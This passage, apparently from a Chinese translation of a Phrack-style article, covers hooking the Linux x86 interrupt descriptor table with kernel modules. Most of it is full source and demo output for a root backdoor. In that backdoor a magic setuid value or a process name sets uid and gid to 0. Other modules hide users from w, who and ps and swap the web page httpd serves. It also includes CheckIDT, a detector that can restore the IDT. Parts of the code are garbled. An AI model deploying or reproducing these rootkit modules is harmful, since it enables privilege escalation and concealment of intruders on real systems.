" xor %%ebx,%%ebx \n"
" movl %2,%%ebx \n"
" cmpl %%eax,%%ebx \n"
" jne finis \n"
//if it's the good syscall,
//put top stack address on stack :)
" mov %%esp,%%edx \n"
" mov %%esp,%%eax \n"
" andl $-8192,%%eax \n"
" pushl %%eax \n"
" push %%edx \n"
" call *%0 \n"
" addl $8,%%esp \n"
"finis: \n"
//restore register
" popl %%ebx \n"
" popl %%ecx \n"
" popl %%edx \n"
" popl %%esi \n"
" popl %%edi \n"
" popl %%ebp \n"
" popl %%eax \n"
" popl %%ds \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
);
}
- 保存所有寄存器
- 比較是否是我們hook的sys_number
- 假如是,我們把esp值和當(dāng)前進程描述put到堆棧中。
- 調(diào)用我們的C函數(shù),在返回的時候,我們pop了8個字節(jié)(eax + edx).
- finis : 彈出所有的寄存器值,然后我們調(diào)用真正的處理函數(shù)。
通過改變sys_number值, 我們可以hook任何的系統(tǒng)調(diào)用
C handler
----------
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct *) fd_task)[0];
if (regs->ebx == 12345 )
{
my_task->uid=0;
my_task->gid=0;
my_task->suid=1000;
}
}
我們通過pt_regs結(jié)構(gòu)得到寄存器值并且得到current描述符的地址。我們比較ebx值是否為12345,假如
是的話,我們設(shè)置uid和gid為0。
練習(xí) :
--------------
bash-2.05$ cat setuid.c
#include
int main (int argc,char ** argv)
{
setuid(12345);
system("/bin/sh");
return 0;
}
bash-2.05$ gcc -o setuid setuid.c
bash-2.05$ ./setuid
sh-2.05# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.05#
OK,我們是ROOT了,該技術(shù)可以適應(yīng)到任何的系統(tǒng)調(diào)用。
------[ 5.3.2 - sys_write鉤子
SYS_WRITE:
----------
EAX: 4
EBX: file descriptor
ECX: ptr to output buffer
EDX: count of bytes to send
我們將hook sys_write來替換一個字符串。然后,我們也可以替換整個系統(tǒng)的。
asm處理函數(shù)部分跟在 5.3.1 相同
C handler
----------
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task= &((struct task_struct *) fd_task) [0];
char *ptr=(char *) regs->ecx;
char * buffer,*ptr3;
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0||
strcmp(my_task->comm,"lastlog")==0 ||
((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
{
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
copy_from_user(buffer,ptr,regs->edx);
if(hide_string)
{
ptr3=strstr(buffer,hide_string);
}
else
{
ptr3=strstr(buffer,HIDE_STRING);
}
if(ptr3 != NULL )
{
if (false_string)
{
strncpy(ptr3,false_string,strlen(false_string));
}
else
{
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
}
copy_to_user(ptr,buffer,regs->edx);
}
kfree(buffer);
}
}
- 比較是否是要操作的進程
- 分配buffer空間,接收來自的regs->ecx字符串
- 我們把string從用戶空間拷貝到內(nèi)核空間(copy_from_user)
- 查找我們要隱藏到的string
- 假如發(fā)現(xiàn)替換成我們要變成的string
- 把我們替換過的string拷貝到用戶空間(copy_to_user)
練習(xí) :
--------------
%gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c
%w
12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
kad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx
kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid
%modinfo hookstub-V0.5.2.o
filename: hookstub-V0.5.2.o
description: "Hooking of sys_write"
author: "kad"
parm: interrupt int, description "Interrupt number"
parm: hide_string string, description "String to hide"
parm: false_string string, description "The fake string"
parm: progy string, description "You can add another program to fake"
%insmod hookstub-V0.5.2.o interrupt=128 hide_string=alert7 false_string=marcel
progy=ps
Inserting hook
Hooking finish
[alert7@redhat73 alert7]$ w
8:36am up 7:07, 3 users, load average: 0.02, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/1 192.168.0.176 1:47am 3.00s 0.28s 0.28s -bash
marcel pts/2 192.168.0.176 8:34am 0.00s 0.10s 0.01s w
[alert7@redhat73 alert7]$ ps -au
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
marcel 18602 0.0 0.6 2464 1288 pts/2 S 08:34 0:00 -bash
marcel 18685 0.0 0.3 2580 664 pts/2 R 08:41 0:00 ps -au
字符串"alert7"被隱藏起來了。整個源代碼在附件CODE 3中。該例子非常簡單但是非常
令人感興趣。我們把"alert7"替換成了"marcel", 我們也可改變我們的IP地址,不但可以
hook w ,who,lastlog我們還可以hook kogd等等
完全的sys_write鉤子
------------------------------
完全的sys_write鉤子有時候是比較有用的,比如我們要把一個IP地址變成另外一個。但是假如
我們完全改變一個string,那么我們將不再隱藏了。假如你把一個string變成另一個,它將影響
到整個系統(tǒng)。甚至簡單的cat也受影響:
%insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! "
Inserting hook
Hooking finish
%echo hello!
bye!
%
C 處理函數(shù)跟上面的一樣,就是不帶那個判斷條件。然而,這樣就使的系統(tǒng)會變的很慢。
----[ 5.4 - fun鉤子
該例子僅僅for fun,請不要濫用。感謝Spacewalker,這是他的想法。hook系統(tǒng)調(diào)用sys_open,所以
它打開其他文件時將使用另外個已經(jīng)定義一個的文件替代。在這里只對httpd做處理。
SYS_OPEN:
---------
EAX : 5
EBX : ptr to pathname
ECX : file access
EDX : file permissions
asm 處理函數(shù)通上
C handler :
------------
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
if(strcmp(my_task->comm,"httpd") == 0)
{
if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0)
{
copy_to_user((char *)regs->ebx,"/tmp/hacked",
strlen((char *) regs->ebx));
}
}
}
當(dāng)我們hook sys_open,假如httpd調(diào)用sys_open并且試圖打開index.html的時候,我們
就把index.html變成其他選擇的頁面。我們也可以使用MODULE_PARM很容易的改變這個頁。假如
是類試vi編輯器的時候,它將看到真正的index.html!
使用這種技術(shù)hook一個系統(tǒng)調(diào)用是非常容易的事情。此外,只要做些小改動就可以hook
其他系統(tǒng)調(diào)用。僅僅要做的就是給C處理函數(shù)做些小改動。然而,我們玩的是asm處理函數(shù),例如
顛倒兩個系統(tǒng)調(diào)用。我們僅需要比較eax值并且把該值改成想要的系統(tǒng)調(diào)用值。為于管理員來說,
我們可以hook一些“熱門”的系統(tǒng)調(diào)用并且只要該系統(tǒng)調(diào)用被調(diào)用就會警告。我們也可以對
syscall_table修改的報警。
--[ 6 - CHECKIDT
CheckIDT是個小程序,在用戶模式玩轉(zhuǎn)IDT,它不需要使用LKM,。感謝Phrack 58關(guān)于
/dev/kmem的技術(shù)文章。該小程序就是基于這個寫的。CheckIDT幫助您編寫LKM并且防止重起。
另一方面,該軟件能對修改IDT作出警告,這對管理員是非常有用的。它使用tripwire的風(fēng)格
保存IDT的狀態(tài)。它在文件中保存著IDT每個描述符,然后和現(xiàn)在的做比較。
一些使用例子 :
-----------------------
[root@redhat73 root]# ./checkidt
CheckIDT V 1.1 by kad
---------------------
Option :
-a nb show all info about one interrupt
-A showw all info about all interrupt
-I show IDT address
-c create file archive
-r read file archive
-o file output filename (for creating file archive)
-C compare save idt & new idt
-R restore IDT
-i file input filename to compare or read
-s resolve symbol thanks to /boot/System.map
-S file specify a map file
[root@redhat73 root]# ./checkidt -a 3 -s
Int *** Stub Address *** Segment *** DPL *** Type Handler Name
--------------------------------------------------------------------------
3 0xc0108ab0 KERNEL_CS 3 System gate int3
Thanks for choosing kad's products :-)
我們可以獲得一個中斷的描述信息。使用"-A"允許我們獲得所有的中斷。
[root@redhat73 root]# ./checkidt -c
Creating file archive idt done
Thanks for choosing kad's products :-)
[root@redhat73 root]# insmod hookstub-V0.3.2.o interrupt=3
Warning: loading hookstub-V0.3.2.o will taint the kernel: no license
Inserting hook
Hooking finished
[root@redhat73 root]# ./checkidt -C
Hey stub address of interrupt 3 has changed!!!
Old Value : 0xc0108ab0
New Value : 0xcc87b064
Thanks for choosing kad's products :-)
[root@redhat73 root]# ./checkidt -R
Restore old stub address of interrupt 3
Thanks for choosing kad's products :-)
[root@redhat73 root]# ./checkidt -C
All values are same
Thanks for choosing kad's products :-)
[root@redhat73 root]# lsmod
Module Size Used by Tainted: P
hookstub-V0.3.2 1712 0 (unused)
...
所以,CheckIDT可以恢復(fù)插入模塊之前的IDT的值。模塊還在那里,但已經(jīng)不起作用了。
作為 tripwire,我建議你把保存IDT的文件放在只讀區(qū)。
注 : 假如模塊是隱藏著的,你也可以根據(jù)IDT的不同從而確定隱藏模塊的存在。
整個代碼在附件 CODE 4.
--[ 7 - REFERENCES
[1] http://www.linuxassembly.org/resources.html#tutorials
Many docs on asm inline
[2] http://www.xml.com/ldd/chapter/book/
linux device drivers
[3] http://www.lxhp.in-berlin.de/lhpsysc0.html
detailed syscalls list
[4] http://eccentrica.org/Mammon/
Mammon site, thanks mammon ;)
[5] http://www.oreilly.com/catalog/linuxkernel/
o'reilly book , great book :)
[6] http://www.tldp.org/LDP/lki/index.html
Linux Kernel 2.4 Internals
[7] Sources of 2.2.19 and 2.4.17 kernel
[8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html
good info about how bottom half work
[9] http://www.s0ftpj.org/en/tools.html
kstat
致謝
- 特別感謝freya, django和neuro幫助我把本文轉(zhuǎn)化為英文。再次感謝skyper的建議,還要感謝多少人:)
- 感謝Wax在asm上給我的寶貴意見
- 非常感謝mayhem, insulted, ptah 和 sauron 測試代碼并且校驗本文
- 感謝#frogs頻道的人, #thebhz 頻道的人, #gandalf 頻道的人, #fr 頻道的人, 感謝所有在RtC.Party
的人們,我不會忘記的,謝謝。
--[ 8 - 附件
CODE 1:
-------
/*****************************************/
/* hooking interrupt 3 . Idea by mammon */
/* with kad modification */
/*****************************************/
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#define error_code 0xc01092d0 //error code in my system.map
#define do_int3 0xc010977c //do_int3 in my system.map
asmlinkage void my_handler(struct pt_regs * regs,long err_code);
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long ptr_gdt_table;
unsigned long old_stub;
unsigned long old_handler=do_int3;
extern asmlinkage void my_stub();
unsigned long ptr_error_code=error_code;
unsigned long ptr_handler=(unsigned long)&my_handler;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
"pushl $0 \n"
"pushl ptr_handler(,1) \n"
"jmp *ptr_error_code "
::
);
}
asmlinkage void my_handler(struct pt_regs * regs,long err_code)
{
void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler;
printk("Wowowo hijacking de l'int 3 \n");
(*old_int_handler)(regs,err_code);
return;
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(3);
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
return;
}
int init_module(void)
{
ptr_idt_table=get_addr_idt();
hook_stub(3,&my_stub,&old_stub);
return 0;
}
void cleanup_module()
{
hook_stub(3,(char *)old_stub,NULL);
}
******************************************************************************
CODE 2:
-------
/****************************************************/
/* IDT int3 backdoor. Give root right to the process
/* Coded by kad
/****************************************************/
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#ifndef KERNEL2
#include
#else
#include
#endif
/*------------------------------------------*/
asmlinkage void my_function(unsigned long);
/*------------------------------------------*/
MODULE_AUTHOR("Kad");
MODULE_DESCRIPTION("Hooking of int3 , give root right to process");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" pushl %%ebx \n"
" movl %%esp,%%ebx \n"
" andl $-8192,%%ebx \n"
" pushl %%ebx \n"
" call *%0 \n"
" addl $4,%%esp \n"
" popl %%ebx \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
asmlinkage void my_function(unsigned long addr_task)
{
struct task_struct *p = &((struct task_struct *) addr_task)[0];
if(strcmp(p->comm,"give_me_root")==0 )
{
#ifdef DEBUG
printk("UID : %i GID : %i SUID : %i\n",p->uid,
p->gid,p->suid);
#endif
p->uid=0;
p->gid=0;
#ifdef DEBUG
printk("UID : %i GID %i SUID : %i\n",p->uid,p->gid,p->suid);
#endif
}
else
{
#ifdef DEBUG
printk("Interrupt %i hijack \n",interrupt);
#endif
}
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
unsigned short get_size_idt(void)
{
unsigned idtr[6];
unsigned short size;
__asm__ volatile ("sidt %0": "=m" (idtr));
size=*((unsigned short *) &idtr[0]);
return(size);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(n);
#ifdef DEBUG
printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr);
#endif
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
#ifdef DEBUG
printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
#endif
return;
}
int write_console (char *str)
{
struct tty_struct *my_tty;
if((my_tty=current->tty) != NULL)
{
(*(my_tty->driver).write) (my_tty,0,str,strlen(str));
return 0;
}
else return -1;
}
static int __init kad_init(void)
{
int x;
EXPORT_NO_SYMBOLS;
ptr_idt_table=get_addr_idt();
write_console("Inserting hook \r\n");
hook_stub(interrupt,&my_stub,&old_stub);
#ifdef DEBUG
printk("Set hooking on interrupt %i\n",interrupt);
#endif
write_console("Hooking finished \r\n");
return 0;
}
static void kad_exit(void)
{
write_console("Removing hook\r\n");
hook_stub(interrupt,(char *)old_stub,NULL);
}
module_init(kad_init);
module_exit(kad_exit);
******************************************************************************
CODE 3:
-------
/**************************************************************/
/* Hooking of sys_write for w,who and lastlog.
/* You can add an another program when you insmod the module
/* By kad
/**************************************************************/
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#ifndef KERNEL2
#include
#else
#include
#endif
#include
#include
#define sys_number 4
#define HIDE_STRING "localhost"
#define FALSE_STRING "somewhere"
#define PROG "w"
/*------------------------------------------*/
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task);
/*------------------------------------------*/
MODULE_AUTHOR("kad");
MODULE_DESCRIPTION("Hooking of sys_write");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
MODULE_PARM(hide_string,"s");
MODULE_PARM_DESC(hide_string,"String to hide");
MODULE_PARM(false_string,"s");
MODULE_PARM_DESC(false_string,"The fake string");
MODULE_PARM(progy,"s");
MODULE_PARM_DESC(progy,"You can add another program to fake");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
char *hide_string;
char *false_string;
char *progy;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
//save the register value
" pushl %%ds \n"
" pushl %%eax \n"
" pushl %%ebp \n"
" pushl %%edi \n"
" pushl %%esi \n"
" pushl %%edx \n"
" pushl %%ecx \n"
" pushl %%ebx \n"
//compare it's the good syscall
" xor %%ebx,%%ebx \n"
" movl %2,%%ebx \n"
" cmpl %%eax,%%ebx \n"
" jne finis \n"
//if it's the good syscall , continue :)
" mov %%esp,%%edx \n"
" mov %%esp,%%eax \n"
" andl $-8192,%%eax \n"
" pushl %%eax \n"
" push %%edx \n"
" call *%0 \n"
" addl $8,%%esp \n"
"finis: \n"
//restore register
" popl %%ebx \n"
" popl %%ecx \n"
" popl %%edx \n"
" popl %%esi \n"
" popl %%edi \n"
" popl %%ebp \n"
" popl %%eax \n"
" popl %%ds \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
);
}
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
char *ptr=(char *) regs->ecx;
char * buffer,*ptr3;
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0
|| strcmp(my_task->comm,"lastlog")==0
|| ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
{
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
copy_from_user(buffer,ptr,regs->edx);
if(hide_string)
{
ptr3=strstr(buffer,hide_string);
}
else
{
ptr3=strstr(buffer,HIDE_STRING);
}
if(ptr3 != NULL )
{
if (false_string)
{
strncpy(ptr3,false_string,strlen(false_string));
}
else
{
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
}
copy_to_user(ptr,buffer,regs->edx);
}
kfree(buffer);
}
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(n);
#ifdef DEBUG
printk("Hook : new stub addresse not splited : 0x%.8x\n",
new_addr);
#endif
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
#ifdef DEBUG
printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
#endif
return;
}
int write_console (char *str)
{
struct tty_struct *my_tty;
if((my_tty=current->tty) != NULL)
{
(*(my_tty->driver).write) (my_tty,0,str,strlen(str));
return 0;
}
else return -1;
}
static int __init kad_init(void)
{
EXPORT_NO_SYMBOLS;
ptr_idt_table=get_addr_idt();
write_console("Inserting hook \r\n");
hook_stub(interrupt,&my_stub,&old_stub);
#ifdef DEBUG
printk("Set hooking on interrupt %i\n",interrupt);
#endif
write_console("Hooking finish \r\n");
return 0;
}
static void kad_exit(void)
{
write_console("Removing hook\r\n");
hook_stub(interrupt,(char *)old_stub,NULL);
}
module_init(kad_init);
module_exit(kad_exit);
******************************************************************************
checkidt/Makefile
all: checkidt.c
gcc -Wall -o checkidt checkidt.c
checkidt/checkidt.c
/*
* CheckIDT V1.1
* Play with IDT from userland
* It's a tripwire kind for IDT
* kad 2002
*
* gcc -Wall -o checkidt checkidt.c
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define NORMAL "\033[0m"
#define NOIR "\033[30m"
#define ROUGE "\033[31m"
#define VERT "\033[32m"
#define JAUNE "\033[33m"
#define BLEU "\033[34m"
#define MAUVE "\033[35m"
#define BLEU_CLAIR "\033[36m"
#define SYSTEM "System gate"
#define INTERRUPT "Interrupt gate"
#define TRAP "Trap gate"
#define DEFAULT_FILE "Safe_idt"
#define DEFAULT_MAP "/boot/System.map"
/***********GLOBAL**************/
int fd_kmem;
unsigned long ptr_idt;
/******************************/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
struct Mode
{
int show_idt_addr;
int show_all_info;
int read_file_archive;
int create_file_archive;
char out_filename[20];
int compare_idt;
int restore_idt;
char in_filename[20];
int show_all_descriptor;
int resolve;
char map_filename[40];
};
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
unsigned short get_size_idt(void)
{
unsigned idtr[6];
unsigned short size;
__asm__ volatile ("sidt %0": "=m" (idtr));
size=*((unsigned short *) &idtr[0]);
return(size);
}
char * get_segment(unsigned short selecteur)
{
if(selecteur == __KERNEL_CS)
{
return("KERNEL_CS");
}
if(selecteur == __KERNEL_DS)
{
return("KERNEL_DS");
}
if(selecteur == __USER_CS)
{
return("USER_CS");
}
if(selecteur == __USER_DS)
{
return("USER_DS");
}
else
{
printf("UNKNOW\n");
}
}
void readkmem(void *m,unsigned off,int size)
{
if(lseek(fd_kmem,off,SEEK_SET) != off)
{
fprintf(stderr,"Error lseek. Are you root? \n");
exit(-1);
}
if(read(fd_kmem,m,size)!= size)
{
fprintf(stderr,"Error read kmem\n");
exit(-1);
}
}
void writekmem(void *m,unsigned off,int size)
{
if(lseek(fd_kmem,off,SEEK_SET) != off)
{
fprintf(stderr,"Error lseek. Are you root? \n");
exit(-1);
}
if(write(fd_kmem,m,size)!= size)
{
fprintf(stderr,"Error read kmem\n");
exit(-1);
}
}
void resolv(char *file,unsigned long stub_addr,char *name)
{
FILE *fd;
char buf[100],addr[30];
int ptr,ptr_begin,ptr_end;
snprintf(addr,30,"%x",(char *)stub_addr);
if(!(fd=fopen(file,"r")))
{
fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n");
exit(-1);
}
while(fgets(buf,100,fd) != NULL)
{
ptr=strstr(buf,addr);
if(ptr)
{
bzero(name,30);
ptr_begin=strstr(buf," ");
ptr_begin=strstr(ptr_begin+1," ");
ptr_end=strstr(ptr_begin+1,"\n");
strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1);
break;
}
}
if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL);
fclose(fd);
}
void show_all_info(int interrupt,int all_descriptor,char *file,int resolve)
{
struct descriptor_idt *descriptor;
unsigned long stub_addr;
unsigned short selecteur;
char type[15];
char segment[15];
char name[30];
int x;
int dpl;
bzero(name,strlen(name));
descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
printf("Int *** Stub Address *** Segment *** DPL *** Type ");
if(resolve >= 0)
{
printf(" Handler Name\n");
printf("--------------------------------------------------------------------------\n");
}
else
{
printf("\n");
printf("---------------------------------------------------\n");
}
if(interrupt >= 0)
{
readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt));
stub_addr=(unsigned long)(descriptor->offset_high offset_low;
selecteur=(unsigned short) descriptor->seg_selector;
if(descriptor->flag & 64) dpl=3;
else dpl = 0;
if(descriptor->flag & 1)
{
if(dpl)
strncpy(type,SYSTEM,sizeof(SYSTEM));
else strncpy(type,TRAP,sizeof(TRAP));
}
else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
strcpy(segment,get_segment(selecteur));
if(resolve >= 0)
{
resolv(file,stub_addr,name);
printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name);
}
else
{
printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type);
}
}
if(all_descriptor >= 0 )
{
for (x=0;xoffset_high offset_low;
if(stub_addr != 0)
{
selecteur=(unsigned short) descriptor->seg_selector;
if(descriptor->flag & 64) dpl=3;
else dpl = 0;
if(descriptor->flag & 1)
{
if(dpl)
strncpy(type,SYSTEM,sizeof(SYSTEM));
else strncpy(type,TRAP,sizeof(TRAP));
}
else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
strcpy(segment,get_segment(selecteur));
if(resolve >= 0)
{
bzero(name,strlen(name));
resolv(file,stub_addr,name);
printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name);
}
else
{
printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type);
}
}
}
}
free(descriptor);
}
void create_archive(char *file)
{
FILE *file_idt;
struct descriptor_idt *descriptor;
int x;
descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
if(!(file_idt=fopen(file,"w")))
{
fprintf(stderr,"Error while opening file\n");
exit(-1);
}
for(x=0;xoffset_high offset_low;
printf("Interruption : %i -- Stub addresse : 0x%.8x\n",x,stub_addr);
}
free(descriptor);
fclose(file_idt);
}
void compare_idt(char *file,int restore_idt)
{
FILE *file_idt;
int x,change=0;
int result;
struct descriptor_idt *save_descriptor,*actual_descriptor;
unsigned long save_stub_addr,actual_stub_addr;
unsigned short *offset;
save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
file_idt=fopen(file,"r");
for(x=0;xoffset_high offset_low;
readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
actual_stub_addr=(unsigned long)(actual_descriptor->offset_high offset_low;
if(actual_stub_addr != save_stub_addr)
{
if(restore_idt offset_high = (unsigned short) (save_stub_addr >> 16);
actual_descriptor->offset_low = (unsigned short) (save_stub_addr & 0x0000FFFF);
writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
change=1;
}
}
}
if(!change)
fprintf(stderr,VERT"All values are same\n"NORMAL);
}
void initialize_value(struct Mode *mode)
{
mode->show_idt_addr=-1;
mode->show_all_info=-1;
mode->show_all_descriptor=-1;
mode->create_file_archive=-1;
mode->read_file_archive=-1;
strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
mode->compare_idt=-1;
mode->restore_idt=-1;
strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP));
mode->resolve=-1;
}
void usage()
{
fprintf(stderr,"CheckIDT V 1.1 by kad\n");
fprintf(stderr,"---------------------\n");
fprintf(stderr,"Option : \n");
fprintf(stderr," -a nb show all info about one interrupt\n");
fprintf(stderr," -A showw all info about all interrupt\n");
fprintf(stderr," -I show IDT address \n");
fprintf(stderr," -c create file archive\n");
fprintf(stderr," -r read file archive\n");
fprintf(stderr," -o file output filename (for creating file archive)\n");
fprintf(stderr," -C compare save idt & new idt\n");
fprintf(stderr," -R restore IDT\n");
fprintf(stderr," -i file input filename to compare or read\n");
fprintf(stderr," -s resolve symbol thanks to /boot/System.map\n");
fprintf(stderr," -S file specify a map file\n\n");
exit(1);
}
int main(int argc, char ** argv)
{
int option;
struct Mode *mode;
if (argc show_idt_addr=1;
break;
case 'a': mode->show_all_info=atoi(optarg);
break;
case 'A': mode->show_all_descriptor=1;
break;
case 'c': mode->create_file_archive=1;
break;
case 'r': mode->read_file_archive=1;
break;
case 'R': mode->restore_idt=1;
break;
case 'o': bzero(mode->out_filename,sizeof(mode->out_filename));
if(strlen(optarg) > 20)
{
fprintf(stderr,"Filename too long\n");
exit(-1);
}
strncpy(mode->out_filename,optarg,strlen(optarg));
break;
case 'C': mode->compare_idt=1;
break;
case 'i': bzero(mode->in_filename,sizeof(mode->in_filename));
if(strlen(optarg) > 20)
{
fprintf(stderr,"Filename too long\n");
exit(-1);
}
strncpy(mode->in_filename,optarg,strlen(optarg));
break;
case 's': mode->resolve=1;
break;
case 'S': bzero(mode->map_filename,sizeof(mode->map_filename));
if(strlen(optarg) > 40)
{
fprintf(stderr,"Filename too long\n");
exit(-1);
}
if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg));
break;
}
}
printf("\n");
ptr_idt=get_addr_idt();
if(mode->show_idt_addr >= 0)
{
fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt);
}
fd_kmem=open("/dev/kmem",O_RDWR);
if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0)
{
show_all_info(mode->show_all_info,mode->show_all_descriptor,mode->map_filename,mode->resolve);
}
if(mode->create_file_archive >= 0)
{
create_archive(mode->out_filename);
}
if(mode->read_file_archive >= 0)
{
read_archive(mode->in_filename);
}
if(mode->compare_idt >= 0)
{
compare_idt(mode->in_filename,mode->restore_idt);
}
if(mode->restore_idt >= 0)
{
compare_idt(mode->in_filename,mode->restore_idt);
}
